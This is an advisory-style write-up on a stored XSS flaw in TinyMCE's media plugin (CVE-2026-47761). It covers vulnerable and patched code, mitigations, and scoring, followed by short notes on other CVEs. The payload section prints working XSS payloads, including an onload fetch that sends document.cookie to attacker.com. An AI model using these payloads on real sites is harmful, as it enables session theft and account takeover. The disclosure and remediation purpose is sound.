Jun 5, 2026·6 min read·5 visits
An input validation flaw in TinyMCE's media plugin allows stored cross-site scripting via unvalidated data-mce-* attributes that bypass standard HTML filters.
TinyMCE prior to versions 5.11.1, 7.9.3, and 8.5.1 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists in the media plugin, which fails to properly validate and sanitize custom placeholder attributes starting with 'data-mce-*' during HTML deserialization. An attacker with content-editing permissions can exploit this vulnerability to execute arbitrary JavaScript within the session of another user who views the compiled content.
TinyMCE is an open-source rich-text editor commonly integrated into web content management systems, administration panels, and corporate portals. The editor incorporates a media plugin to handle dynamic content components, such as frame-based videos, object assets, and audio player interfaces. To manage layout stability in the editable area, the media plugin serializes these interactive nodes into non-interactive placeholder images.
The vulnerability, cataloged as CVE-2026-47761, stems from the mechanism used to store the original properties of these rich-media assets. The plugin caches raw property values inside custom HTML5 attributes prefixed with 'data-mce-'. Because downstream filters typically permit arbitrary 'data-*' attributes, the payloads bypass security boundaries before the application saves them to the persistent datastore.
When a user renders the stored markup, the editor deserializes these custom attributes back into live DOM objects. During this rendering process, the application does not validate the reconstructed elements. This enables an attacker to deliver executable code to the browser of any user who loads the edited document.
To prevent live scripts or active content from executing inside the rich-text editing window, TinyMCE replaces interactive tags with static img structures during serialization. A typical media block containing an iframe gets serialized to an img tag with the class 'mce-object' and custom metadata structures. These structures include 'data-mce-object' to record the original tag type and 'data-mce-p-[attribute]' to store arbitrary properties such as the iframe source.
The logic failure occurs during deserialization when the static placeholder is parsed to regenerate the live element. The parser loops through all attributes on the placeholder image to extract original values. It strips the 'data-mce-p-' prefix and registers the remaining string directly as a property on the newly generated active tag.
Two critical flaws exist in this architecture. First, the parsing routine does not restrict the target tag represented by 'data-mce-object', allowing dangerous tag categories such as script blocks to be specified. Second, the parser mapping loop does not filter out active event handlers or dangerous URI protocols. This allows standard attributes to be rewritten directly onto the output element, establishing the initial trigger path for arbitrary script execution.
Prior to remediation, the attribute assignment module within the media plugin processed deserialization parameters dynamically without safety checks. The following logic model represents the vulnerable attribute recreation sequence:
// Vulnerable attribute reconstruction logic
const attrs = placeholderElement.attributes;
for (let i = 0; i < attrs.length; i++) {
const attr = attrs[i];
if (attr.name.indexOf('data-mce-p-') === 0) {
const realName = attr.name.substring(11);
// Vulnerability: No check on whether realName is 'onload', 'onerror', etc.
rebuiltElement.setAttribute(realName, attr.value);
}
}The security patch remediates this mapping mechanism by introducing validation logic directly inside the property loop. The updated logic checks the resolved attribute name against a blocklist designed to prevent event registration:
// Patched attribute reconstruction logic
const attrs = placeholderElement.attributes;
for (let i = 0; i < attrs.length; i++) {
const attr = attrs[i];
if (attr.name.indexOf('data-mce-p-') === 0) {
const realName = attr.name.substring(11);
// Patch: Block event handlers starting with 'on'
if (/^on/i.test(realName)) {
continue;
}
// Patch: Ensure protocols are sanitized before assignment
if (realName === 'src' && attr.value.trim().toLowerCase().startsWith('javascript:')) {
continue;
}
rebuiltElement.setAttribute(realName, attr.value);
}
}Additionally, the patch restricts the parameters allowed within 'data-mce-object' to a verified tag list consisting of 'iframe', 'video', 'audio', and 'embed'. Any attempt to map properties to unauthorized elements, such as a direct script block, causes the parsing engine to reject or drop the element. Similarly, content serialized within 'data-mce-html' is forced through the integrated sanitization library to normalize dynamic references.
Exploiting this flaw requires that the attacker has permissions to input and save content processed by TinyMCE. An attacker can construct a payload by bypassing the editor's visual interface and submitting raw HTML. This is typically achieved via source-code mode, direct request interception, or by sending direct API updates to the endpoint handling the save routine.
The payload wraps a target event handler inside a 'data-mce-p-' attribute structure on a fake image. Two typical payload vectors demonstrate this mapping bypass:
<!-- Payload Variant 1: Event Handler Injection -->
<img class="mce-object mce-object-iframe"
data-mce-object="iframe"
data-mce-p-src="https://example.com"
data-mce-p-onload="fetch('https://attacker.com/steal?cookie=' + document.cookie)"
width="100"
height="100"
src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" />
<!-- Payload Variant 2: Embedded Script Payload -->
<img class="mce-object"
data-mce-object="iframe"
data-mce-html="%3Cscript%3Ealert(document.domain)%3C/script%3E"
src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" />When the victim loads the document inside the editor or views the final rendered output, TinyMCE intercepts the 'mce-object' image placeholder. The deserialization logic transforms the image into an iframe tag. It extracts the value of 'data-mce-p-onload' and applies it directly to the iframe as 'onload="fetch(...)"', causing the browser to execute the code in the victim's session context.
The impact of CVE-2026-47761 is substantial due to the execution scope of JavaScript within modern browsers. Once the malicious code runs, it acts on behalf of the viewing user under the host application origin. If the viewer is an administrator, the script can modify site settings, create unauthorized administrative accounts, or execute state-changing administrative APIs.
The CVSS v3.1 base score of 8.7 reflects this risk. Attackers need low privileges to post content, and exploitation requires minimal user interaction. The impact on confidentiality and integrity is rated high because sensitive session identifiers, anti-CSRF tokens, and application data can be exfiltrated through asynchronous requests.
While the EPSS score of 0.00032 indicates low current exploitation probability, the widespread usage of TinyMCE in critical infrastructure management and enterprise portals makes it an attractive vector. The vulnerability is stored, meaning a single payload remains present in the database to target multiple viewers over an extended duration.
The most effective resolution is upgrading TinyMCE to a patched release. If running the 5.x branch, upgrade to version 5.11.1 or higher. If running the 7.x branch, upgrade to 7.9.3 or higher. If running the 8.x branch, upgrade to 8.5.1 or higher. The 6.x branch is EOL, and users on that branch must migrate to supported versions.
If patching cannot be deployed immediately, organizations should disable the media plugin within the initialization script. While this blocks the inclusion of video and iframe elements, it closes the parsing vector:
tinymce.init({
selector: 'textarea',
plugins: 'anchor autolink charmap codesample emoticons image link lists searchreplace table visualblocks wordcount'
});Alternatively, implement a server-side filter within the application's sanitization chain to target attributes prefixed with 'data-mce-'. Explicitly dropping elements like 'data-mce-object', 'data-mce-html', and all attributes starting with 'data-mce-p-' blocks the payload at the ingest point before the data is stored in the database.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
TinyMCE Tiny Technologies | < 5.11.1 | 5.11.1 |
TinyMCE Tiny Technologies | 6.0.0 to 6.8.6 | 7.9.3 (Upgrade required) |
TinyMCE Tiny Technologies | 7.0.0 to < 7.9.3 | 7.9.3 |
TinyMCE Tiny Technologies | 8.0.0 to < 8.5.1 | 8.5.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS Base Score | 8.7 |
| Exploit Status | poc |
| Impact | Stored Cross-Site Scripting (XSS) |
| KEV Status | Not Listed |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
A high-severity stored Cross-Site Scripting (XSS) vulnerability was identified in the TinyMCE rich text editor. The flaw exists in the handling of the 'protect' configuration option, where forged placeholder comments containing malicious payloads bypass the editor's sanitization routines and execute arbitrary JavaScript during serialization and content restoration.
An authorization bypass and client-side property tampering vulnerability (CVE-2026-47742) in the Shopper headless admin panel (built on Laravel and Livewire) allows low-privileged users to modify arbitrary product records (Insecure Direct Object Reference). This occurs due to unlocked public model properties and a complete lack of access control checks on mutating sub-form store methods.
Shopper is an open-source headless e-commerce administration panel built on Laravel, Livewire, and Filament. Prior to version 2.8.0, the admin tables for PaymentMethods, Currencies, and Carriers exposed inline toggles and per-record actions that could be modified by any authenticated user without verifying the corresponding administrative permissions on the backend.
An Insecure Direct Object Reference (IDOR) vulnerability in Bugsink (versions < 2.2.0) allows authenticated users with access to at least one project to view sensitive event details (including stack traces, local/environment variables, and execution breadcrumbs) belonging to other projects, by supplying a known event UUID directly to the issue event URL paths.
Bugsink prior to version 2.2.0 is vulnerable to Broken Object Level Authorization (BOLA). The issue list view authorizes access based on the project in the URL path but applies requested bulk actions to submitted issue UUIDs globally, without verifying project ownership.
A critical authorization bypass vulnerability in Bugsink prior to version 2.2.0 allows authenticated users to access and resolve sourcemaps and debug files belonging to other projects on the same instance.